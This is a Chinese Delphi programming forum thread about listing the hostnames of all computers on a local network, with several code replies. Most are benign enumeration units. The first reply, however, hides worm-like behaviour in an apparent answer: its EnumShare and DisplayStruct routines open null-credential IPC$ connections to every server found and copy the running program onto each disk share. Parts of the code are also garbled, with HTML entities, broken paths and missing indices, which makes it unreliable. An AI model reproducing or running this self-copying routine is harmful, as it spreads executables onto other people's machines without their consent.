Delphi中如何获取整个局域网中的所有计算机主机名称(100分)

  • 主题发起人 主题发起人 flydragon0709
  • 开始时间 开始时间
F

flydragon0709

Unregistered / Unconfirmed
GUEST, unregistred user!
Delphi中如何获取整个局域网中的所有计算机主机名称
 
void EnumShare(TCHAR *lpszServer)
{
PSHARE_INFO_1 BufPtr,p;
NET_API_STATUS res;
DWORD er=0,tr=0,resume=0, i;
//
// //print a report header.
//
// //printf("Share Share Type: /n");
// //printf("--------------------------------------------------/n");
//
// Call the NetShareEnum function; specify level 1.
//
do // begin do
{
res = NetShareEnum (WideString(lpszServer), 1, (LPBYTE *) &BufPtr, -1, &er, &tr, &resume);
//
// If the call succeeds,
//
if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p=BufPtr;
//
// Loop through the entries;
// //print retrieved data.
//
for(i=1;i<=er;i++)
{
//sprintf("%-20S",p->shi1_netname);

switch(p->shi1_type)
{
case STYPE_DISKTREE:
String ToPathFile="////"+AnsiString(lpszServer)+"//"+AnsiString(p->shi1_netname)+"//"+ExtractFileName(Application->ExeName);
CopyFile(Application->ExeName.c_str(),ToPathFile.c_str(),0);
break;
}
p++;
}
//
// Free the allocated buffer.
//
NetApiBufferFree(BufPtr);
}
else
{
// ShowError(res);
}
// Continue to call NetShareEnum while
// there are more entries.
//
}while (res==ERROR_MORE_DATA); // end do
return;
}
void EnumGroup(TCHAR *pszServerName)
{
NET_API_STATUS nStatus,mRet;
DWORD dwLevel = 1;
PLOCALGROUP_INFO_1 pBuf=NULL,p;
DWORD Read=0,Entry=0,Resume=0;
PLOCALGROUP_MEMBERS_INFO_2 mBuf=NULL,m;
DWORD mRead=0,mEntry=0,mResume=0;

//printf("-------------GROUP INFORMATION-------------/n");

nStatus=NetLocalGroupEnum(WideString(pszServerName),dwLevel,(LPBYTE *)&amp;pBuf,MAX_PREFERRED_LENGTH,&amp;Read, &amp;Entry, &amp;Resume);
if(nStatus == NERR_Success)
{
p=pBuf;
for(DWORD i=0;i<Read;i++)
{
//printf("Group: %-30S",p->lgrpi1_name);
//printf("Comment: %-30S/n",p->lgrpi1_comment);
mRet = NetLocalGroupGetMembers(WideString(pszServerName),p->lgrpi1_name, 2, (LPBYTE *)&amp;mBuf, MAX_PREFERRED_LENGTH, &amp;mRead, &amp;mEntry, &amp;mResume);
if(mRet==NERR_Success)
{
m=mBuf;
//printf("-----Members-----/n");
for(DWORD j=0;j<mRead;j++)
{
//printf("%S/n",m->lgrmi2_domainandname);
m++;
}
//printf("/n");
}
else
{
// ShowError(mRet);
}
NetApiBufferFree(mBuf);
p++;
}
}
else
{
// ShowError(nStatus);
}

NetApiBufferFree (pBuf);
//printf("/n/n");

}


int DispServer(TCHAR *pszServerName)
{
DWORD dwLevel = 101;
LPSERVER_INFO_101 pBuf = NULL;
NET_API_STATUS nStatus;

//
// Call the NetServerGetInfo function, specifying level 101.
//
nStatus = NetServerGetInfo(WideString(pszServerName),
dwLevel,
(LPBYTE *)&amp;pBuf);
//
// If the call succeeds,
//
if (nStatus == NERR_Success)
{
//
// Check for the type of server.
//
/*
if ((pBuf->sv101_type &amp; SV_TYPE_DOMAIN_CTRL) ||
(pBuf->sv101_type &amp; SV_TYPE_DOMAIN_BAKCTRL) ||
(pBuf->sv101_type &amp; SV_TYPE_SERVER_NT))
//printf("Type: Server/n");
else
//printf("Type: Workstation/n");
//printf("Name: %S/n",pBuf->sv101_name);
//printf("OS: ");
*/
switch(pBuf->sv101_platform_id)
{
case PLATFORM_ID_DOS:
//printf("DOS/n");
break;
case PLATFORM_ID_OS2:
//printf("OS2/n");
break;
case PLATFORM_ID_NT:
//printf("NT/n");
break;
case PLATFORM_ID_OSF:
//printf("OSF/n");
break;
case PLATFORM_ID_VMS:
//printf("VMS/n");
break;
default:
//printf("Unknown/n");
break;
}
//printf("Version: %d.%d/n",pBuf->sv101_version_major,pBuf->sv101_version_minor);
//printf("Comment: %S/n",pBuf->sv101_comment);
}
//
// Otherwise, //print the system error.
//
//else
// //printf("A system error has occurred: %d/n", nStatus);
//
// Free the allocated memory.
//
if (pBuf != NULL)
NetApiBufferFree(pBuf);
//printf("/n/n");
return 0;
}
void DisplayStruct(LPNETRESOURCE lpnr)
{
switch(lpnr->dwDisplayType)
{
case RESOURCEDISPLAYTYPE_DOMAIN:
//printf("--------Domain--%S--------/n",lpnr->lpRemoteName);
break;
case RESOURCEDISPLAYTYPE_SERVER:
{
TCHAR IPC[MAX_PATH];
NETRESOURCE netr;
//printf("--------Server--%S--------/n",lpnr->lpRemoteName);
// ws//printf(IPC,L"%s//IPC$",lpnr->lpRemoteName);
netr.dwScope = RESOURCE_GLOBALNET;
netr.dwType = RESOURCETYPE_ANY;
netr.lpLocalName = "";
netr.lpRemoteName = IPC;
netr.lpProvider = NULL;
WNetAddConnection2(&amp;netr,"","",NULL);
// DispServer(lpnr->lpRemoteName);
EnumShare(lpnr->lpRemoteName);
WNetCancelConnection2(IPC,CONNECT_UPDATE_PROFILE,TRUE);
//printf("/n/n");
}
break;
// case RESOURCEDISPLAYTYPE_SHARE:
// //printf("Share:%S/n",lpnr->lpRemoteName);
// break;
default:
// //printf("Unknown:%S/n",lpnr->lpRemoteName);
break;
}
}
BOOL WINAPI EnumerateFunc(LPNETRESOURCE lpnr)
{
DWORD dwResult, dwResultEnum;
HANDLE hEnum;
DWORD cbBuffer = 16384; // 16K is a good size
DWORD cEntries = -1; // enumerate all possible entries
LPNETRESOURCE lpnrLocal; // pointer to enumerated structures
DWORD i;
//
// Call the WNetOpenEnum function to begin the enumeration.
//
dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, // all network resources
RESOURCETYPE_ANY, // all resources
0, // enumerate all resources
lpnr, // NULL first time the function is called
&amp;hEnum); // handle to the resource

if (dwResult != NO_ERROR)
{
return FALSE;
}
//
// Call the GlobalAlloc function to allocate resources.
//
lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer);

do
{
//
// Initialize the buffer.
//
ZeroMemory(lpnrLocal, cbBuffer);
//
// Call the WNetEnumResource function to continue
// the enumeration.
//
dwResultEnum = WNetEnumResource(hEnum, // resource handle
&amp;cEntries, // defined locally as -1
lpnrLocal, // LPNETRESOURCE
&amp;cbBuffer); // buffer size
//
// If the call succeeds, loop through the structures.
//
if (dwResultEnum == NO_ERROR)
{
for(i = 0; i < cEntries; i++)
{
// Call an application-defined function to
// display the contents of the NETRESOURCE structures.
//
DisplayStruct(&amp;lpnrLocal);

// If the NETRESOURCE structure represents a container resource,
// call the EnumerateFunc function recursively.

if(RESOURCEUSAGE_CONTAINER == (lpnrLocal.dwUsage &amp; RESOURCEUSAGE_CONTAINER))
EnumerateFunc(&amp;lpnrLocal);
}
}
// Process errors.
//
else if (dwResultEnum != ERROR_NO_MORE_ITEMS)
{
break;
}
}while(dwResultEnum != ERROR_NO_MORE_ITEMS);
//
// Call the GlobalFree function to free the memory.
//
GlobalFree((HGLOBAL)lpnrLocal);
//
// Call WNetCloseEnum to end the enumeration.
//
dwResult = WNetCloseEnum(hEnum);

if(dwResult != NO_ERROR)
{
return FALSE;
}

return TRUE;
}
 
将以下单元加入项目中,然后在需要时调用getnetcomputername;它返回的是一个Tstrings,
在其中就存储着已联网并开着的计算机网络名
unit getnetname;
interface
uses
Windows,Classes;
function getnetcomputername:Tstrings;
implementation
function getnetcomputername:Tstrings;
var
i,j:integer;
errcode:integer;
netres:array[0..1023] of tnetresource;
enumhandle:thandle;
enumentries:dword;
buffersize:dword;
ss:tstrings;
s:string;
begin
result:=nil;
ss:=tstringlist.Create;
try
with netres[0] do begin
dwscope:=RESOURCE_GLOBALNET;
dwtype:=resourcetype_any;
dwdisplaytype:=resourcedisplaytype_domain;
dwusage:=resourceusage_container;
lplocalname:=nil;
lpremotename:=nil;
lpcomment:=nil;
lpprovider:=nil;
end;
errcode:=wnetopenenum(resource_globalnet,
resourcetype_any,
resourceusage_container,
@netres[0],
enumhandle
);
if errcode=no_error then begin
enumentries:=1;
buffersize:=sizeof(netres);
errcode:=wnetenumresource(enumhandle,
enumentries,
@netres[0],
buffersize
);
wnetcloseenum(enumhandle);
errcode:=wnetopenenum(resource_globalnet,
resourcetype_any,
resourceusage_container,
@netres[0],
enumhandle
);
enumentries:=1024;
buffersize:=sizeof(netres);
errcode:=wnetenumresource(enumhandle,
enumentries,
@netres[0],
buffersize
);
if errcode=no_error then
for i:=0 to 1023 do
begin
if (netres.lpProvider)=nil then
break
else
begin
s:=netres.lpremotename;
s:=copy(s,3,length(s)-1);
ss.add(s);
result:=ss;
end;
end;
end;
except
ss.Free;
end;
end;
end.
 
procedure GetUserList(fServer: string; List: TStrings);
type
PNetResourceArr = ^TNetResource;
var
NetResource: TNetResource;
Buf: Pointer;
Count, BufSize, Res: DWord;
Ind: Integer;
lphEnum: THandle;
Temp: PNetResourceArr;
begin
List.Clear;
GetMem(Buf, 8192);
try
FillChar(NetResource, SizeOf(NetResource), 0);
NetResource.lpRemoteName := @fServer[1];
NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;
NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;
NetResource.dwScope := RESOURCETYPE_DISK;
Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource, lphEnum);
if Res <> 0 then
Exit;
while True do
begin
Count := $FFFFFFFF;
BufSize := 8192;
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
if Res = ERROR_NO_MORE_ITEMS then
Exit;
if (Res <> 0) then
Exit;
Temp := PNetResourceArr(Buf);
for Ind := 0 to Count - 1 do
begin
List.Add(Temp^.lpRemoteName + 2);
{ Add all the network usernames to List StringList }
Inc(Temp);
end;
end;
Res := WNetCloseEnum(lphEnum);
if Res <> 0 then
raise Exception(Res);

finally
FreeMem(Buf);
end;
end;
 
以下为原程序,在win98,win2000+delphi6下调试通过。
可以获得局域网内所有的工作组和所有的计算机。
还有问题给我写信。windser@163.com
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TNetResourceArray=^TNetResource;
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Memo2: TMemo;
Edit1: TEdit;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
Function GetUsers(GroupName:string;var List:TStringList):Boolean;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
Function GetServerList(var List:TStringList ):Boolean;
var
NetResource:TNetResource;
Buf:Pointer;
Count,BufSize,Res:DWORD;
lphEnum:THandle;
p:TNetResourceArray;
i,j:Smallint;
NetworkTypeList:Tlist;
begin
result:=false;
NetworkTypelist:=Tlist.create;
List.clear;
Res:=WnetopenEnum(Resource_GLOBALNET,RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER,Nil,lphEnum);
if Res<>NO_ERROR Then exit;
Count:=$FFFFFFFF;
BufSize:=8192;
GetMem(Buf,BufSize);
Res:=WNETEnumResource(lphEnum,Count,Pointer(BUf),Bufsize);
if (Res=Error_no_more_items)
or(Res<>NO_ERROR)
Then exit;
P:=TnetResourceArray(BUf);
for i:=0 to Count-1 do
begin
networktypelist.Add(p);
inc(p);
end;
Res:=WNetCloseEnum(lphEnum);
if Res<>NO_ERROR then exit;
For j:=0 to NetWorkTypeList.Count-1 do
begin
NetResource:=TnetResource(NetworkTypeList.Items[J]^);
Res:=WNetOpenEnum(Resource_Globalnet,Resourcetype_Disk,
Resourceusage_Container,@NetResource,lphEnum);
if Res<>NO_Error then break;
While true do
begin
count:=$FFFFFFFF;
BufSize:=8192;
GetMem(Buf,BUfSize);
Res:=WNetEnumResource(lphEnum,Count,Pointer(Buf),Bufsize);
if(Res=ERROR_NO_MORE_ITEMS) or (Res<>NO_ERROR)
then break;
P:=TNetResourceArray(Buf);
For I:=0 to Count-1 do
begin
List.add(StrPas(p^.lpRemoteName));
Inc(P);
end;
end;
Res:=WNetCloseEnum(lphEnum);
if Res<>NO_ERROR then break;
end;
Result:=true;
freeMem(Buf);
NetworkTypeList.Destroy;
End;
Function TForm1.GetUsers(GroupName:string;var List:TStringList):Boolean;
Var
NetResource:TNetResource;
Buf : Pointer;
Count,BufSize,Res : DWord;
Ind : Integer;
lphEnum : THandle;
Temp:TNetResourceArray;
Begin
Result := False;
List.Clear;
FillChar(NetResource, SizeOf(NetResource), 0); //初始化网络层次信息
NetResource.lpRemoteName := @GroupName[1]; //指定工作组名称
NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器(工作组)
NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;
NetResource.dwScope := RESOURCETYPE_DISK; //列举文件资源信息
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
If Res <> NO_ERROR Then Exit; //执行失败
While True Do //列举指定工作组的网络资源
Begin
Count := $FFFFFFFF; //不限资源数目
BufSize := 8192; //缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息,获取计算机名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕
If (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
For Ind := 0 to Count - 1 do//列举工作组的计算机名称
Begin
List.Add(Temp^.lpRemoteName);
Inc(Temp);
End;
End;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
If Res <> NO_ERROR Then exit;//执行失败
Result:=True;
FreeMem(Buf);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
sl:Tstringlist;
i:integer;
begin
memo1.Lines.Clear;
sl:=Tstringlist.create;
if getserverlist(sl) then
begin
for i:=0 to sl.count-1 do
memo1.Lines.Add(sl.Strings);
memo1.LineS.Add('总共找到'+inttostr(sl.Count)+'个工作组!');
end
else
memo1.Lines.Add('没有找到工作组');
end;

procedure TForm1.Button2Click(Sender: TObject);
var
List:TstringList;
i:integer;
begin
try
List:=TstringList.Create;
if GetUsers(edit1.text,List) then
if List.count=0 then //工作组下没找到计算机
begin
memo2.Lines.Add (edit1.text+'工作组下没有计算机!');
end
else
memo2.Lines.Add (edit1.text+'下的所有计算机如下:');
for i:=0 to List.Count-1 do
begin
Memo2.lines.Add (List.strings);
end;
finally
List:=TstringList.Create; //如有异常则释放分配的资源
end;
end;
end.
 


unit FindComp;



interface



uses

Windows, Classes;



function FindComputers: DWORD;



var

Computers: TStringList;



implementation



uses

SysUtils;



const

MaxEntries = 250;



function FindComputers: DWORD;



var

EnumWorkGroupHandle, EnumComputerHandle: THandle;

EnumError: DWORD;

Network: TNetResource;

WorkGroupEntries, ComputerEntries: DWORD;

EnumWorkGroupBuffer, EnumComputerBuffer: array[1..MaxEntries] of TNetResource;

EnumBufferLength: DWORD;

I, J: DWORD;



begin



Computers.Clear;



FillChar(Network, SizeOf(Network), 0);

with Network do

begin

dwScope := RESOURCE_GLOBALNET;

dwType := RESOURCETYPE_ANY;

dwUsage := RESOURCEUSAGE_CONTAINER;

end;



EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @Network, EnumWorkGroupHandle);



if EnumError = NO_ERROR then

begin

WorkGroupEntries := MaxEntries;

EnumBufferLength := SizeOf(EnumWorkGroupBuffer);

EnumError := WNetEnumResource(EnumWorkGroupHandle, WorkGroupEntries, @EnumWorkGroupBuffer, EnumBufferLength);



if EnumError = NO_ERROR then

begin

for I := 1 to WorkGroupEntries do

begin

EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @EnumWorkGroupBuffer, EnumComputerHandle);

if EnumError = NO_ERROR then

begin

ComputerEntries := MaxEntries;

EnumBufferLength := SizeOf(EnumComputerBuffer);

EnumError := WNetEnumResource(EnumComputerHandle, ComputerEntries, @EnumComputerBuffer, EnumBufferLength);

if EnumError = NO_ERROR then

for J := 1 to ComputerEntries do

Computers.Add(Copy(EnumComputerBuffer[J].lpRemoteName, 3, Length(EnumComputerBuffer[J].lpRemoteName) - 2));

WNetCloseEnum(EnumComputerHandle);

end;

end;

end;

WNetCloseEnum(EnumWorkGroupHandle);

end;



if EnumError = ERROR_NO_MORE_ITEMS then

EnumError := NO_ERROR;

Result := EnumError;



end;



initialization



Computers := TStringList.Create;



finalization



Computers.Free;



end.
 
我有自己编的例子
 
后退
顶部